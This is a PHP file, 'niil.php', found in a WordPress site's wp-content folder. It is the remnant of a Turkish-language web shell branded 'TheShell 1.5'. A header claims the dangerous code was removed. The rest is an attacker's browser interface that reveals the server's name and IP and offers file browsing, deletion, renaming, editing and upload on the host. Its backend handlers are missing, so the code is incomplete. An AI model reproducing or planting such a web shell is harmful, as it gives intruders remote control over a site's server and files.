File "niil.php"

Full Path: /home/limout/public_html/wp-content-20240825135818/niil.php
File size: 9.01 KB
MIME-type: text/x-php; charset=utf-8
Charset: utf-8

<?php 
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
?><br>

<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <title>Gelişmiş Dosya Yöneticisi</title>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<style>
    table {
        width: 70%;
        border-collapse: collapse;
        margin: 20px auto;
    }

    th, td {
        padding: 8px;
        text-align: left;
        border-bottom: 1px solid #ddd;
    }

    tr:hover {
        background-color: #f5f5f5;
    }

    .btn {
        margin-right: 5px;
        padding: 6px 10px;
        font-size: 14px;
    }

    /* Tablo stilleri */
    table th, table td {
        border: 1px solid #ddd;
        padding: 8px;
    }

    table th {
        background-color: #f2f2f2;
    }

    /* Düğme stilleri */
    .btn {
        background-color: #4CAF50;
        color: white;
        border: none;
        cursor: pointer;
        border-radius: 4px;
    }

    .btn-danger {
        background-color: #f44336;
    }

    .btn-primary {
        background-color: #008CBA;
    }

    .btn:hover {
        background-color: #45a049;
    }

    /* Dosya düzenleme formu stilleri */
    #editForm {
        display: none;
        padding: 10px;
        border: 1px solid #ddd;
        margin-top: 10px;
    }
</style>
</head>
<body>

<div class="navbar">
    <br>
    <div class="upload-btn-wrapper">
        <button class="btn">Yükle</button>
        <input type="file" name="files[]" id="file-input" multiple />
    </div>

    <div id="progress"></div>
    <center>
        <?php $hostname = gethostname();
        $ip_address = gethostbyname($hostname);
        echo "Server Name: " . $hostname . "  Server Ip Adress: " . $ip_address . "  ";
        ?>    </center>

<?php
    // Dizin navigasyonu için bağlantılar
    echo '<div class="path-navigation">';
    $parts = explode('/', trim($currentPath, '/'));
    $pathAccum = '';
    for ($i = 0; $i < count($parts); $i++) {
        if (!empty($parts[$i])) {
            $pathAccum .= '/' . $parts[$i];
            echo '<a href="?path=' . urlencode($pathAccum) . '">' . htmlspecialchars($parts[$i]) . '</a> / ';
        }
    }
    echo '</div>';
    // Dizin içeriğini al
    $filesAndDirs = array_diff(scandir($currentPath, SORT_ASC), array('..', '.'));

    // Klasörleri ve dosyaları ayırma
    $directories = [];
    $files = [];

    foreach ($filesAndDirs as $item) {
        $fullPath = $currentPath . '/' . $item;
        if (is_dir($fullPath)) {
            $directories[] = $item;
        } else {
            $files[] = $item;
        }
    }

    echo '<table>';
    echo "<tr><th>Dosya/Dizin Adı</th><th>Tür</th><th>Boyut</th><th>En Son Düzenlenme</th><th>Yazılabilir</th><th>Dosya Sahibi</th><th>İşlemler</th></tr>";

    // Klasörleri gösterme
    foreach ($directories as $item) {
        $fullPath = $currentPath . '/' . $item;

        echo "<tr>";
        echo "<td>";
        echo '<i class="fa fa-folder"></i> ';
        echo '<a href="?path=' . urlencode($fullPath) . '">' . htmlspecialchars($item) . '</a>';
        echo "</td>";

        // Dosya bilgileri
        $fileType = 'Dizin';
        $fileSize = '';
        $lastModified = '';
        $isWritable = is_writable($fullPath) ? 'Evet' : 'Hayır';
        $owner = '';

        echo "<td>$fileType</td>";
        echo "<td>$fileSize</td>";
        echo "<td>$lastModified</td>";
        echo "<td>$isWritable</td>";
        echo "<td>$owner</td>";

        // İşlemler
        echo "<td>";
        // "Yeniden Adlandır" butonu
        echo '<button class="btn" onclick="openRenamePrompt(\'' . addslashes($item) . '\', \'' . addslashes($currentPath) . '\')">Yeniden Adlandır</button>';

        // Klasör için "Sil" butonu
        $deleteConfirmation = "Bu klasörü silmek istediğinize emin misiniz?";
        $deleteUrl = htmlspecialchars($_SERVER['PHP_SELF']) . "?delete=" . urlencode(basename($fullPath)) . "&path=" . urlencode($currentPath);
        echo '<button class="btn btn-danger" onclick="return confirm(\'' . $deleteConfirmation . '\') ? window.location.href=\'' . $deleteUrl . '\' : \'\'">Sil</button>';

        echo "</td>";
        echo "</tr>";
    }

    // Dosyaları gösterme
    foreach ($files as $item) {
        $fullPath = $currentPath . '/' . $item;

        echo "<tr>";
        echo "<td>";
        echo '<i class="fa fa-file"></i> ';
        echo '<a href="#" onclick="openEditForm(\'' . addslashes($item) . '\'); openModal(\'' . addslashes($fullPath) . '\')" class="btn btn-primary">' . htmlspecialchars($item) . '</a>';
        echo "</td>";

        // Dosya bilgileri
        $fileType = mime_content_type($fullPath);
        $fileSize = filesize($fullPath);
        $lastModified = date("Y-m-d H:i:s", filemtime($fullPath));
        $isWritable = is_writable($fullPath) ? 'Evet' : 'Hayır';
        $owner = posix_getpwuid(fileowner($fullPath))['name'];

        echo "<td>$fileType</td>";
        echo "<td>$fileSize</td>";
        echo "<td>$lastModified</td>";
        echo "<td>$isWritable</td>";
        echo "<td>$owner</td>";

        // İşlemler
        echo "<td>";
        // "Yeniden Adlandır" butonu
        echo '<button class="btn" onclick="openRenamePrompt(\'' . addslashes($item) . '\', \'' . addslashes($currentPath) . '\')">Yeniden Adlandır</button>';

        // Dosya için "Sil" butonu ve "Düzenle" butonu
        $deleteConfirmation = "Bu dosyayı silmek istediğinize emin misiniz?";
        $deleteUrl = htmlspecialchars($_SERVER['PHP_SELF']) . "?delete=" . urlencode(basename($fullPath)) . "&path=" . urlencode($currentPath);
        echo '<button class="btn btn-danger" onclick="return confirm(\'' . $deleteConfirmation . '\') ? window.location.href=\'' . $deleteUrl . '\' : \'\'">Sil</button>';
        echo '<button class="btn btn-primary" onclick="openEditForm(\'' . addslashes($item) . '\')">Düzenle</button>';

        echo "</td>";
        echo "</tr>";
    }
    echo '</table>';
?>


<div id="editForm" style="display:none;">
    <h2>Dosya Düzenle </h2>
    <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?path=<?php echo urlencode($currentPath); ?>" method="post" id="editFileForm">
        <textarea name="editContent" id="editContent" style="width: 100%; height: 300px;"></textarea>
        <input type="hidden" name="editFile" id="editFile">
        <input type="submit" name="saveEdit" value="Kaydet">
    </form>
</div>

<script>
function openEditForm(filename) {
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?filesrc=" + encodeURIComponent(filename) + "&raw=true&path=<?php echo urlencode($currentPath); ?>", true);
    xhr.onload = function () {
        if (xhr.status === 200) {
            document.getElementById("editContent").value = xhr.responseText;
            document.getElementById("editFile").value = filename;
            document.getElementById("editForm").style.display = "block";
        } else {
            alert("Dosya yüklenirken bir hata oluştu: " + xhr.statusText);
        }
    };
    xhr.onerror = function () {
        alert("AJAX request failed.");
    };
    xhr.send();
}
</script>
<script>
document.getElementById('file-input').addEventListener('change', function (e) {
    var formData = new FormData();
    for (var i = 0; i < this.files.length; i++) {
        formData.append('files[]', this.files[i]);
    }

    var xhr = new XMLHttpRequest();
    xhr.open('POST', '<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?path=<?php echo urlencode($currentPath); ?>', true);
    xhr.upload.addEventListener('progress', function (e) {
        if (e.lengthComputable) {
            var percent = Math.round((e.loaded / e.total) * 100);
            document.getElementById('progress').innerHTML = percent + '% uploaded';
        }
    });

    xhr.onload = function () {
        if (this.status === 200) {
            document.getElementById('progress').innerHTML = 'Upload complete';
        } else {
            document.getElementById('progress').innerHTML = 'Upload failed';
        }
    };

    xhr.send(formData);
});

function openRenamePrompt(oldName) {
    var newName = prompt("Enter new name:", oldName);
    if (newName && newName !== oldName) {
        var form = document.createElement("form");
        form.method = "POST";
        form.action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?path=<?php echo urlencode($currentPath); ?>";

        var oldNameInput = document.createElement("input");
        oldNameInput.type = "hidden";
        oldNameInput.name = "oldName";
        oldNameInput.value = oldName;
        form.appendChild(oldNameInput);

        var newNameInput = document.createElement("input");
        newNameInput.type = "hidden";
        newNameInput.name = "newName";
        newNameInput.value = newName;
        form.appendChild(newNameInput);

        document.body.appendChild(form);
        form.submit();
    }
}
</script>
<div class="footer">
    TheShell 1.5 / Since 2024 
</div>
</body>
</html>